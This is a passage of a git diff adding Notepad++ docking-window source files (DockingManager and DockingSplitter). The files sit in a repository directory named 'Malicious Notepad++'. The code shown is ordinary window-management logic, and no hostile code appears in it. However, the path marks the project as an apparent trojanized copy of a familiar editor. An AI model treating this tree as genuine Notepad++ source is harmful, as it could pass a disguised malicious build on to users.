clz.hCursor = ::LoadCursor(NULL, IDC_ARROW); + clz.hbrBackground = NULL; + clz.lpszMenuName = NULL; + clz.lpszClassName = DSPC_CLASS_NAME; + + if (!::RegisterClass(&clz)) + { + throw std::runtime_error("DockingManager::init : RegisterClass() function failed"); + } + _isRegistered = TRUE; + } + + _hSelf = ::CreateWindowEx( + 0, + DSPC_CLASS_NAME, + TEXT(""), + WS_CHILD | WS_CLIPCHILDREN, + CW_USEDEFAULT, CW_USEDEFAULT, + CW_USEDEFAULT, CW_USEDEFAULT, + _hParent, + NULL, + _hInst, + (LPVOID)this); + + if (!_hSelf) + { + throw std::runtime_error("DockingManager::init : CreateWindowEx() function return null"); + } + + setClientWnd(ppWin); + + // create docking container + for (int iCont = 0; iCont < DOCKCONT_MAX; ++iCont) + { + _vContainer[iCont]->init(_hInst, _hSelf); + _vContainer[iCont]->doDialog(false); + ::SetParent(_vContainer[iCont]->getHSelf(), _hParent); + + if ((iCont == CONT_TOP) || (iCont == CONT_BOTTOM)) + _vSplitter[iCont]->init(_hInst, _hParent, _hSelf, DMS_HORIZONTAL); + else + _vSplitter[iCont]->init(_hInst, _hParent, _hSelf, DMS_VERTICAL); + } + // register window event hooking + if (!hWndServer) + hWndServer = _hSelf; + CoInitialize(NULL); + if (!gWinCallHook) //only set if not already done + gWinCallHook = ::SetWindowsHookEx(WH_CALLWNDPROC, focusWndProc, hInst, GetCurrentThreadId()); + + if (!gWinCallHook) + { + throw std::runtime_error("DockingManager::init : SetWindowsHookEx() function return null"); + } + + _dockData.hWnd = _hSelf; + + _isInitialized = TRUE; +} + +void DockingManager::destroy() +{ + ::DestroyWindow(_hSelf); +} + +LRESULT CALLBACK DockingManager::staticWinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + DockingManager *pDockingManager = NULL; + switch (message) + { + case WM_NCCREATE : + pDockingManager = reinterpret_cast(reinterpret_cast(lParam)->lpCreateParams); + pDockingManager->_hSelf = hwnd; + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast(pDockingManager)); + return TRUE; + + default : + pDockingManager = reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + if (!pDockingManager) + return ::DefWindowProc(hwnd, message, wParam, lParam); + return pDockingManager->runProc(hwnd, message, wParam, lParam); + } +} + +void DockingManager::updateContainerInfo(HWND hClient) +{ + for (size_t iCont = 0, len = _vContainer.size(); iCont < len; ++iCont) + { + if (_vContainer[iCont]->updateInfo(hClient) == TRUE) + { + break; + } + } +} + +void DockingManager::showContainer(HWND hCont, bool display) +{ + for (size_t iCont = 0, len = _vContainer.size(); iCont < len; ++iCont) + { + if (_vContainer[iCont]->getHSelf() == hCont) + showContainer(iCont, display); + } +} + +LRESULT DockingManager::runProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_NCACTIVATE: + { + // activate/deactivate titlebar of toolbars + for (size_t iCont = DOCKCONT_MAX, len = _vContainer.size(); iCont < len; ++iCont) + { + ::SendMessage(_vContainer[iCont]->getHSelf(), WM_NCACTIVATE, wParam, static_cast(-1)); + } + + if (static_cast(lParam) != -1) + { + ::SendMessage(_hParent, WM_NCACTIVATE, wParam, static_cast(-1)); + } + break; + } + case WM_MOVE: + case WM_SIZE: + { + onSize(); + break; + } + case WM_DESTROY: + { + // unregister window event hooking BEFORE EVERYTHING ELSE + if (hWndServer == hwnd) { + UnhookWindowsHookEx(gWinCallHook); + gWinCallHook = NULL; + hWndServer = NULL; + } + + // destroy imagelist if it exists + if (_hImageList != NULL) + { + ::ImageList_Destroy(_hImageList); + } + + // destroy containers + for (int32_t i = static_cast(_vContainer.size()); i > 0; i--) + { + _vContainer[i-1]->destroy(); + delete _vContainer[i-1]; + } + CoUninitialize(); + break; + } + case DMM_LBUTTONUP: //is this message still relevant? + { + if (::GetActiveWindow() != _hParent) + break; + + // set respective activate state + for (int i = 0; i < DOCKCONT_MAX; ++i) + { + _vContainer[i]->SetActive(IsChild(_vContainer[i]->getHSelf(), ::GetFocus())); + } + return TRUE; + } + + case DMM_MOVE: + { + Gripper *pGripper = new Gripper; + pGripper->init(_hInst, _hParent); + pGripper->startGrip(reinterpret_cast(lParam), this); + break; + } + + case DMM_MOVE_SPLITTER: + { + int offset = static_cast(wParam); + + for (int iCont = 0; iCont < DOCKCONT_MAX; ++iCont) + { + if (_vSplitter[iCont]->getHSelf() == reinterpret_cast(lParam)) + { + switch (iCont) + { + case CONT_TOP: + _dockData.rcRegion[iCont].bottom -= offset; + if (_dockData.rcRegion[iCont].bottom < 0) + { + _dockData.rcRegion[iCont].bottom = 0; + } + if ((_rcWork.bottom < (-SPLITTER_WIDTH)) && (offset < 0)) + { + _dockData.rcRegion[iCont].bottom += offset; + } + break; + case CONT_BOTTOM: + _dockData.rcRegion[iCont].bottom += offset; + if (_dockData.rcRegion[iCont].bottom < 0) + { + _dockData.rcRegion[iCont].bottom = 0; + } + if ((_rcWork.bottom < (-SPLITTER_WIDTH)) && (offset > 0)) + { + _dockData.rcRegion[iCont].bottom -= offset; + } + break; + case CONT_LEFT: + _dockData.rcRegion[iCont].right -= offset; + if (_dockData.rcRegion[iCont].right < 0) + { + _dockData.rcRegion[iCont].right = 0; + } + if ((_rcWork.right < SPLITTER_WIDTH) && (offset < 0)) + { + _dockData.rcRegion[iCont].right += offset; + } + break; + case CONT_RIGHT: + _dockData.rcRegion[iCont].right += offset; + if (_dockData.rcRegion[iCont].right < 0) + { + _dockData.rcRegion[iCont].right = 0; + } + if ((_rcWork.right < SPLITTER_WIDTH) && (offset > 0)) + { + _dockData.rcRegion[iCont].right -= offset; + } + break; + } + onSize(); + break; + } + } + break; + } + case DMM_DOCK: + case DMM_FLOAT: + { + toggleActiveTb(reinterpret_cast(lParam), message); + return FALSE; + } + case DMM_CLOSE: + { + tTbData TbData = *(reinterpret_cast(lParam))->getDataOfActiveTb(); + LRESULT res = SendNotify(TbData.hClient, DMN_CLOSE); // Be sure the active item is OK with closing + if (res == 0) // Item will be closing? + ::PostMessage(_hParent, WM_ACTIVATE, WA_ACTIVE, 0); // Tell editor to take back focus + return res; + } + case DMM_FLOATALL: + { + toggleVisTb(reinterpret_cast(lParam), DMM_FLOAT); + return FALSE; + } + case DMM_DOCKALL: + { + toggleVisTb(reinterpret_cast(lParam), DMM_DOCK); + return FALSE; + } + case DMM_GETIMAGELIST: + { + return reinterpret_cast(_hImageList); + } + case DMM_GETICONPOS: + { + for (size_t uImageCnt = 0, len = _vImageList.size(); uImageCnt < len; ++uImageCnt) + { + if (reinterpret_cast(lParam) == _vImageList[uImageCnt]) + { + return uImageCnt; + } + } + return -1; + } + default : + break; + } + + return ::DefWindowProc(_hSelf, message, wParam, lParam); +} + +void DockingManager::onSize() +{ + reSizeTo(_rect); +} + +void DockingManager::reSizeTo(RECT & rc) +{ + // store current size of client area + _rect = rc; + + // prepare size of work area + _rcWork = rc; + + if (_isInitialized == FALSE) + return; + + // set top container + _dockData.rcRegion[CONT_TOP].left = rc.left; + _dockData.rcRegion[CONT_TOP].top = rc.top; + _dockData.rcRegion[CONT_TOP].right = rc.right-rc.left; + + _vSplitter[CONT_TOP]->display(false); + + if (_vContainer[CONT_TOP]->isVisible()) + { + _rcWork.top += _dockData.rcRegion[CONT_TOP].bottom + SPLITTER_WIDTH; + _rcWork.bottom -= _dockData.rcRegion[CONT_TOP].bottom + SPLITTER_WIDTH; + + // set size of splitter + RECT rc = {_dockData.rcRegion[CONT_TOP].left , + _dockData.rcRegion[CONT_TOP].top + _dockData.rcRegion[CONT_TOP].bottom, + _dockData.rcRegion[CONT_TOP].right , + SPLITTER_WIDTH}; + _vSplitter[CONT_TOP]->reSizeTo(rc); + } + + // set bottom container + _dockData.rcRegion[CONT_BOTTOM].left = rc.left; + _dockData.rcRegion[CONT_BOTTOM].top = rc.top + rc.bottom - _dockData.rcRegion[CONT_BOTTOM].bottom; + _dockData.rcRegion[CONT_BOTTOM].right = rc.right-rc.left; + + // create temporary rect for bottom container + RECT rcBottom = _dockData.rcRegion[CONT_BOTTOM]; + + _vSplitter[CONT_BOTTOM]->display(false); + + if (_vContainer[CONT_BOTTOM]->isVisible()) + { + _rcWork.bottom -= _dockData.rcRegion[CONT_BOTTOM].bottom + SPLITTER_WIDTH; + + // correct the visibility of bottom container when height is NULL + if (_rcWork.bottom < rc.top) + { + rcBottom.top = _rcWork.top + rc.top + SPLITTER_WIDTH; + rcBottom.bottom += _rcWork.bottom - rc.top; + _rcWork.bottom = rc.top; + } + if ((rcBottom.bottom + SPLITTER_WIDTH) < 0) + { + _rcWork.bottom = rc.bottom - _dockData.rcRegion[CONT_TOP].bottom; + } + + // set size of splitter + RECT rc = {rcBottom.left, + rcBottom.top - SPLITTER_WIDTH, + rcBottom.right, + SPLITTER_WIDTH}; + _vSplitter[CONT_BOTTOM]->reSizeTo(rc); + } + + // set left container + _dockData.rcRegion[CONT_LEFT].left = rc.left; + _dockData.rcRegion[CONT_LEFT].top = _rcWork.top; + _dockData.rcRegion[CONT_LEFT].bottom = _rcWork.bottom; + + _vSplitter[CONT_LEFT]->display(false); + + if (_vContainer[CONT_LEFT]->isVisible()) + { + _rcWork.left += _dockData.rcRegion[CONT_LEFT].right + SPLITTER_WIDTH; + _rcWork.right -= _dockData.rcRegion[CONT_LEFT].right + SPLITTER_WIDTH; + + // set size of splitter + RECT rc = {_dockData.rcRegion[CONT_LEFT].right, + _dockData.rcRegion[CONT_LEFT].top, + SPLITTER_WIDTH, + _dockData.rcRegion[CONT_LEFT].bottom}; + _vSplitter[CONT_LEFT]->reSizeTo(rc); + } + + // set right container + _dockData.rcRegion[CONT_RIGHT].left = rc.right - _dockData.rcRegion[CONT_RIGHT].right; + _dockData.rcRegion[CONT_RIGHT].top = _rcWork.top; + _dockData.rcRegion[CONT_RIGHT].bottom = _rcWork.bottom; + + // create temporary rect for right container + RECT rcRight = _dockData.rcRegion[CONT_RIGHT]; + + _vSplitter[CONT_RIGHT]->display(false); + if (_vContainer[CONT_RIGHT]->isVisible()) + { + _rcWork.right -= _dockData.rcRegion[CONT_RIGHT].right + SPLITTER_WIDTH; + + // correct the visibility of right container when width is NULL + if (_rcWork.right < 15) + { + rcRight.left = _rcWork.left + 15 + SPLITTER_WIDTH; + rcRight.right += _rcWork.right - 15; + _rcWork.right = 15; + } + + // set size of splitter + RECT rc = {rcRight.left - SPLITTER_WIDTH, + rcRight.top, + SPLITTER_WIDTH, + rcRight.bottom}; + _vSplitter[CONT_RIGHT]->reSizeTo(rc); + } + + // set window positions of container + if (_vContainer[CONT_BOTTOM]->isVisible()) + { + ::SetWindowPos(_vContainer[CONT_BOTTOM]->getHSelf(), NULL, + rcBottom.left , + rcBottom.top , + rcBottom.right , + rcBottom.bottom, + SWP_NOZORDER); + _vSplitter[CONT_BOTTOM]->display(); + } + + if (_vContainer[CONT_TOP]->isVisible()) + { + ::SetWindowPos(_vContainer[CONT_TOP]->getHSelf(), NULL, + _dockData.rcRegion[CONT_TOP].left , + _dockData.rcRegion[CONT_TOP].top , + _dockData.rcRegion[CONT_TOP].right , + _dockData.rcRegion[CONT_TOP].bottom, + SWP_NOZORDER); + _vSplitter[CONT_TOP]->display(); + } + + if (_vContainer[CONT_RIGHT]->isVisible()) + { + ::SetWindowPos(_vContainer[CONT_RIGHT]->getHSelf(), NULL, + rcRight.left , + rcRight.top , + rcRight.right , + rcRight.bottom, + SWP_NOZORDER); + _vSplitter[CONT_RIGHT]->display(); + } + + if (_vContainer[CONT_LEFT]->isVisible()) + { + ::SetWindowPos(_vContainer[CONT_LEFT]->getHSelf(), NULL, + _dockData.rcRegion[CONT_LEFT].left , + _dockData.rcRegion[CONT_LEFT].top , + _dockData.rcRegion[CONT_LEFT].right , + _dockData.rcRegion[CONT_LEFT].bottom, + SWP_NOZORDER); + _vSplitter[CONT_LEFT]->display(); + } + (*_ppMainWindow)->reSizeTo(_rcWork); +} + +void DockingManager::createDockableDlg(tTbData data, int iCont, bool isVisible) +{ + // add icons + if ((data.uMask & DWS_ICONTAB) && data.hIconTab != NULL) + { + // create image list if not exist + if (_hImageList == NULL) + { + int iconDpiDynamicalSize = NppParameters::getInstance()->_dpiManager.scaleY(14); + _hImageList = ::ImageList_Create(iconDpiDynamicalSize,iconDpiDynamicalSize,ILC_COLOR8, 0, 0); + } + + // add icon + ::ImageList_AddIcon(_hImageList, data.hIconTab); + + // do the reference here to find later the correct position + _vImageList.push_back(data.hClient); + } + + // create additional containers if necessary + RECT rc = {0,0,0,0}; + DockingCont* pCont = NULL; + + // if floated rect not set + if (memcmp(&data.rcFloat, &rc, sizeof(RECT)) == 0) + { + // set default rect state + ::GetWindowRect(data.hClient, &data.rcFloat); + + // test if dialog is first time created + if (iCont == -1) + { + // set default visible state + isVisible = (::IsWindowVisible(data.hClient) == TRUE); + + if (data.uMask & DWS_DF_FLOATING) + { + // create new container + pCont = new DockingCont; + _vContainer.push_back(pCont); + + // initialize + pCont->init(_hInst, _hSelf); + pCont->doDialog(isVisible, true); + + // get previous position and set container id + data.iPrevCont = (data.uMask & 0x30000000) >> 28; + iCont = static_cast(_vContainer.size()) - 1; + } + else + { + // set position + iCont = (data.uMask & 0x30000000) >> 28; + + // previous container is not selected + data.iPrevCont = -1; + } + } + } + // if one of the container was not created before + else if ((iCont >= DOCKCONT_MAX) || (data.iPrevCont >= DOCKCONT_MAX)) + { + // test if current container is in floating state + if (iCont >= DOCKCONT_MAX) + { + // no mapping for available store mapping + if (_iContMap[iCont] == -1) + { + // create new container + pCont = new DockingCont; + _vContainer.push_back(pCont); + + // initialize and map container id + pCont->init(_hInst, _hSelf); + pCont->doDialog(isVisible, true); + _iContMap[iCont] = static_cast(_vContainer.size()) - 1; + } + + // get current container from map + iCont = _iContMap[iCont]; + } + // previous container is in floating state + else + { + // no mapping for available store mapping + if (_iContMap[data.iPrevCont] == -1) + { + // create new container + pCont = new DockingCont; + _vContainer.push_back(pCont); + + // initialize and map container id + pCont->init(_hInst, _hSelf); + pCont->doDialog(false, true); + pCont->reSizeToWH(data.rcFloat); + _iContMap[data.iPrevCont] = static_cast(_vContainer.size()) - 1; + } + data.iPrevCont = _iContMap[data.iPrevCont]; + } + } + + // attach toolbar + if (_vContainer.size() > (size_t)iCont && _vContainer[iCont] != NULL) + _vContainer[iCont]->createToolbar(data); + + // notify client app + if (iCont < DOCKCONT_MAX) + SendNotify(data.hClient, MAKELONG(DMN_DOCK, iCont)); + else + SendNotify(data.hClient, MAKELONG(DMN_FLOAT, iCont)); +} + +void DockingManager::setActiveTab(int iCont, int iItem) +{ + if ((iCont == -1) || (_iContMap[iCont] == -1)) + return; + + _vContainer[_iContMap[iCont]]->setActiveTb(iItem); +} + +void DockingManager::showDockableDlg(HWND hDlg, BOOL view) +{ + for (size_t i = 0, len = _vContainer.size(); i < len; ++i) + { + tTbData *pTbData = _vContainer[i]->findToolbarByWnd(hDlg); + if (pTbData != NULL) + { + _vContainer[i]->showToolbar(pTbData, view); + return; + } + } +} + +void DockingManager::showDockableDlg(TCHAR* pszName, BOOL view) +{ + for (size_t i = 0, len = _vContainer.size(); i < len; ++i) + { + tTbData *pTbData = _vContainer[i]->findToolbarByName(pszName); + if (pTbData != NULL) + { + _vContainer[i]->showToolbar(pTbData, view); + return; + } + } +} + +LRESULT DockingManager::SendNotify(HWND hWnd, UINT message) +{ + NMHDR nmhdr; + nmhdr.code = message; + nmhdr.hwndFrom = _hParent; + nmhdr.idFrom = ::GetDlgCtrlID(_hParent); + ::SendMessage(hWnd, WM_NOTIFY, nmhdr.idFrom, reinterpret_cast(&nmhdr)); + return ::GetWindowLongPtr(hWnd, DWLP_MSGRESULT); +} + +void DockingManager::setDockedContSize(int iCont, int iSize) +{ + if ((iCont == CONT_TOP) || (iCont == CONT_BOTTOM)) + _dockData.rcRegion[iCont].bottom = iSize; + else if ((iCont == CONT_LEFT) || (iCont == CONT_RIGHT)) + _dockData.rcRegion[iCont].right = iSize; + else + return; + onSize(); +} + +int DockingManager::getDockedContSize(int iCont) +{ + if ((iCont == CONT_TOP) || (iCont == CONT_BOTTOM)) + return _dockData.rcRegion[iCont].bottom; + else if ((iCont == CONT_LEFT) || (iCont == CONT_RIGHT)) + return _dockData.rcRegion[iCont].right; + else + return -1; +} + +DockingCont* DockingManager::toggleActiveTb(DockingCont* pContSrc, UINT message, BOOL bNew, LPRECT prcFloat) +{ + tTbData TbData = *pContSrc->getDataOfActiveTb(); + int iContSrc = GetContainer(pContSrc); + int iContPrev = TbData.iPrevCont; + BOOL isCont = ContExists(iContPrev); + DockingCont* pContTgt = NULL; + + // if new float position is given + if (prcFloat != NULL) + { + TbData.rcFloat = *prcFloat; + } + + if ((isCont == FALSE) || (bNew == TRUE)) + { + // find an empty container + int iContNew = FindEmptyContainer(); + + if (iContNew == -1) + { + // if no free container is available create a new one + pContTgt = new DockingCont; + pContTgt->init(_hInst, _hSelf); + pContTgt->doDialog(true, true); + + // change only on toggling + if ((bNew == FALSE) || (!pContSrc->isFloating())) + TbData.iPrevCont = iContSrc; + + pContTgt->createToolbar(TbData); + _vContainer.push_back(pContTgt); + } + else + { + // set new target + pContTgt = _vContainer[iContNew]; + + // change only on toggling + if ((pContSrc->isFloating()) != (pContTgt->isFloating())) + TbData.iPrevCont = iContSrc; + + pContTgt->createToolbar(TbData); + } + } + else + { + // set new target + pContTgt = _vContainer[iContPrev]; + + // change data normaly + TbData.iPrevCont = iContSrc; + pContTgt->createToolbar(TbData); + } + + // notify client app + SendNotify(TbData.hClient, MAKELONG(message==DMM_DOCK?DMN_DOCK:DMN_FLOAT, GetContainer(pContTgt))); + + // remove toolbar from source + _vContainer[iContSrc]->removeToolbar(TbData); + + return pContTgt; +} + +DockingCont* DockingManager::toggleVisTb(DockingCont* pContSrc, UINT message, LPRECT prcFloat) +{ + vector vTbData = pContSrc->getDataOfVisTb(); + tTbData* pTbData = pContSrc->getDataOfActiveTb(); + + int iContSrc = GetContainer(pContSrc); + int iContPrev = pTbData->iPrevCont; + BOOL isCont = ContExists(iContPrev); + DockingCont* pContTgt = NULL; + + // at first hide container and resize + pContSrc->doDialog(false); + onSize(); + + for (size_t iTb = 0, len = vTbData.size(); iTb < len; ++iTb) + { + // get data one by another + tTbData TbData = *vTbData[iTb]; + + // if new float position is given + if (prcFloat != NULL) + { + TbData.rcFloat = *prcFloat; + } + + if (isCont == FALSE) + { + // create new container + pContTgt = new DockingCont; + pContTgt->init(_hInst, _hSelf); + pContTgt->doDialog(true, true); + + TbData.iPrevCont = iContSrc; + pContTgt->createToolbar(TbData); + _vContainer.push_back(pContTgt); + + // now container exists + isCont = TRUE; + iContPrev = GetContainer(pContTgt); + } + else + { + // set new target + pContTgt = _vContainer[iContPrev]; + + TbData.iPrevCont = iContSrc; + pContTgt->createToolbar(TbData); + } + + SendNotify(TbData.hClient, MAKELONG(message==DMM_DOCK?DMN_DOCK:DMN_FLOAT, GetContainer(pContTgt))); + + // remove toolbar from anywhere + _vContainer[iContSrc]->removeToolbar(TbData); + } + + _vContainer[iContPrev]->setActiveTb(pTbData); + return pContTgt; +} + +void DockingManager::toggleActiveTb(DockingCont* pContSrc, DockingCont* pContTgt) +{ + tTbData TbData = *pContSrc->getDataOfActiveTb(); + + toggleTb(pContSrc, pContTgt, TbData); +} + +void DockingManager::toggleVisTb(DockingCont* pContSrc, DockingCont* pContTgt) +{ + vector vTbData = pContSrc->getDataOfVisTb(); + tTbData* pTbData = pContSrc->getDataOfActiveTb(); + + // at first hide container and resize + pContSrc->doDialog(false); + onSize(); + + for (size_t iTb = 0, len = vTbData.size(); iTb < len; ++iTb) + { + // get data one by another + tTbData TbData = *vTbData[iTb]; + toggleTb(pContSrc, pContTgt, TbData); + } + pContTgt->setActiveTb(pTbData); +} + +void DockingManager::toggleTb(DockingCont* pContSrc, DockingCont* pContTgt, tTbData TbData) +{ + int iContSrc = GetContainer(pContSrc); + int iContTgt = GetContainer(pContTgt); + + // test if container state changes from docking to floating or vice versa + if (((iContSrc < DOCKCONT_MAX) && (iContTgt >= DOCKCONT_MAX)) || + ((iContSrc >= DOCKCONT_MAX) && (iContTgt < DOCKCONT_MAX))) + { + // change states + TbData.iPrevCont = iContSrc; + } + + // notify client app + if (iContTgt < DOCKCONT_MAX) + SendNotify(TbData.hClient, MAKELONG(DMN_DOCK, iContTgt)); + else + SendNotify(TbData.hClient, MAKELONG(DMN_FLOAT, iContTgt)); + + // create new toolbar + pContTgt->createToolbar(TbData); + + // remove toolbar from source + _vContainer[iContSrc]->removeToolbar(TbData); +} + +BOOL DockingManager::ContExists(size_t iCont) +{ + BOOL bRet = FALSE; + + if (iCont < _vContainer.size()) + { + bRet = TRUE; + } + + return bRet; +} + +int DockingManager::GetContainer(DockingCont* pCont) +{ + int iRet = -1; + for (size_t iCont = 0, len = _vContainer.size(); iCont < len; ++iCont) + { + if (_vContainer[iCont] == pCont) + { + iRet = static_cast(iCont); + break; + } + } + + return iRet; +} + +int DockingManager::FindEmptyContainer() +{ + int iRetCont = -1; + BOOL* pPrevDockList = (BOOL*) new BOOL[_vContainer.size()+1]; + BOOL* pArrayPos = &pPrevDockList[1]; + + // delete all entries + for (size_t iCont = 0, len = _vContainer.size()+1; iCont < len; ++iCont) + { + pPrevDockList[iCont] = FALSE; + } + + // search for used floated containers + for (size_t iCont = 0; iCont < DOCKCONT_MAX; ++iCont) + { + vector vTbData = _vContainer[iCont]->getDataOfAllTb(); + + for (size_t iTb = 0, len = vTbData.size(); iTb < len; ++iTb) + { + pArrayPos[vTbData[iTb]->iPrevCont] = TRUE; + } + } + + // find free container + for (size_t iCont = DOCKCONT_MAX, len = _vContainer.size(); iCont < len; ++iCont) + { + if (pArrayPos[iCont] == FALSE) + { + // and test if container is hidden + if (!_vContainer[iCont]->isVisible()) + { + iRetCont = static_cast(iCont); + break; + } + } + } + + delete [] pPrevDockList; + + // search for empty arrays + return iRetCont; +} + + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.h b/Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.h new file mode 100644 index 0000000..ea8d8a4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.h @@ -0,0 +1,128 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2006 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include +#include +#include +#include "Window.h" +#include "DockingCont.h" +#include "SplitterContainer.h" + +#define DSPC_CLASS_NAME TEXT("dockingManager") +#define CONT_MAP_MAX 50 + +class DockingSplitter; + +class DockingManager : public Window +{ +public : + DockingManager(); + ~DockingManager(); + + void init(HINSTANCE hInst, HWND hWnd, Window ** ppWin); + virtual void reSizeTo(RECT & rc); + + void setClientWnd(Window ** ppWin) { + _ppWindow = ppWin; + _ppMainWindow = ppWin; + }; + + void showContainer(HWND hCont, bool display = true); + + void showContainer(size_t uCont, bool display = true) { + _vContainer[uCont]->doDialog(display); + onSize(); + } + + void updateContainerInfo(HWND hClient); + void createDockableDlg(tTbData data, int iCont = CONT_LEFT, bool isVisible = false); + void setActiveTab(int iCont, int iItem); + void showDockableDlg(HWND hDlg, BOOL view); + void showDockableDlg(TCHAR* pszName, BOOL view); + + DockingCont* toggleActiveTb(DockingCont* pContSrc, UINT message, BOOL bNew = FALSE, LPRECT rcFloat = NULL); + DockingCont* toggleVisTb(DockingCont* pContSrc, UINT message, LPRECT rcFloat = NULL); + void toggleActiveTb(DockingCont* pContSrc, DockingCont* pContTgt); + void toggleVisTb(DockingCont* pContSrc, DockingCont* pContTgt); + + // get number of container + int GetContainer(DockingCont* pCont); + + // get all container in vector + std::vector & getContainerInfo() { + return _vContainer; + }; + // get dock data (sized areas) + void getDockInfo(tDockMgr *pDockData) { + *pDockData = _dockData; + }; + + // setting styles of docking + void setStyleCaption(BOOL captionOnTop) { + _vContainer[CONT_TOP]->setCaptionTop(captionOnTop); + _vContainer[CONT_BOTTOM]->setCaptionTop(captionOnTop); + }; + + void setTabStyle(BOOL orangeLine) { + for (size_t i = 0; i < _vContainer.size(); ++i) + _vContainer[i]->setTabStyle(orangeLine); + }; + + int getDockedContSize(int iCont); + void setDockedContSize(int iCont, int iSize); + virtual void destroy(); + +private : + + static LRESULT CALLBACK staticWinProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + void onSize(); + + void toggleTb(DockingCont* pContSrc, DockingCont* pContTgt, tTbData TbData); + + // test if container exists + BOOL ContExists(size_t iCont); + int FindEmptyContainer(); + LRESULT SendNotify(HWND hWnd, UINT message); + +private: + Window **_ppWindow = nullptr; + RECT _rcWork; + RECT _rect; + Window **_ppMainWindow = nullptr; + std::vector _vImageList; + HIMAGELIST _hImageList = nullptr; + std::vector _vContainer; + tDockMgr _dockData; + static BOOL _isRegistered; + BOOL _isInitialized = FALSE; + int _iContMap[CONT_MAP_MAX]; + std::vector _vSplitter; +}; + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.cpp b/Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.cpp new file mode 100644 index 0000000..1a502d7 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.cpp @@ -0,0 +1,215 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2006 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include +#include "DockingSplitter.h" +#include "Notepad_plus_msgs.h" +#include "Parameters.h" + +BOOL DockingSplitter::_isVertReg = FALSE; +BOOL DockingSplitter::_isHoriReg = FALSE; + +static HWND hWndMouse = NULL; +static HHOOK hookMouse = NULL; + +#ifndef WH_MOUSE_LL +#define WH_MOUSE_LL 14 +#endif + +static LRESULT CALLBACK hookProcMouse(int nCode, WPARAM wParam, LPARAM lParam) +{ + if(nCode >= 0) + { + switch (wParam) + { + case WM_MOUSEMOVE: + case WM_NCMOUSEMOVE: + ::PostMessage(hWndMouse, static_cast(wParam), 0, 0); + break; + + case WM_LBUTTONUP: + case WM_NCLBUTTONUP: + ::PostMessage(hWndMouse, static_cast(wParam), 0, 0); + return TRUE; + + default: + break; + } + } + + return ::CallNextHookEx(hookMouse, nCode, wParam, lParam); +} + +void DockingSplitter::init(HINSTANCE hInst, HWND hWnd, HWND hMessage, UINT flags) +{ + Window::init(hInst, hWnd); + _hMessage = hMessage; + _flags = flags; + + WNDCLASS wc; + + if (flags & DMS_HORIZONTAL) + { + //double sided arrow pointing north-south as cursor + wc.hCursor = ::LoadCursor(NULL,IDC_SIZENS); + wc.lpszClassName = TEXT("nsdockspliter"); + } + else + { + // double sided arrow pointing east-west as cursor + wc.hCursor = ::LoadCursor(NULL,IDC_SIZEWE); + wc.lpszClassName = TEXT("wedockspliter"); + } + + if (((_isHoriReg == FALSE) && (flags & DMS_HORIZONTAL)) || + ((_isVertReg == FALSE) && (flags & DMS_VERTICAL))) + { + wc.style = CS_HREDRAW | CS_VREDRAW; + wc.lpfnWndProc = staticWinProc; + wc.cbClsExtra = 0; + wc.cbWndExtra = 0; + wc.hInstance = _hInst; + wc.hIcon = NULL; + wc.hbrBackground = (HBRUSH)(COLOR_3DFACE+1); + wc.lpszMenuName = NULL; + + if (!::RegisterClass(&wc)) + { + throw std::runtime_error("DockingSplitter::init : RegisterClass() function failed"); + } + else if (flags & DMS_HORIZONTAL) + { + _isHoriReg = TRUE; + } + else + { + _isVertReg = TRUE; + } + } + + /* create splitter windows and initialize it */ + _hSelf = ::CreateWindowEx( 0, wc.lpszClassName, TEXT(""), WS_CHILD | WS_VISIBLE, + CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, + _hParent, NULL, _hInst, (LPVOID)this); + + if (!_hSelf) + { + throw std::runtime_error("DockingSplitter::init : CreateWindowEx() function return null"); + } +} + + + +LRESULT CALLBACK DockingSplitter::staticWinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + DockingSplitter *pDockingSplitter = NULL; + switch (message) + { + case 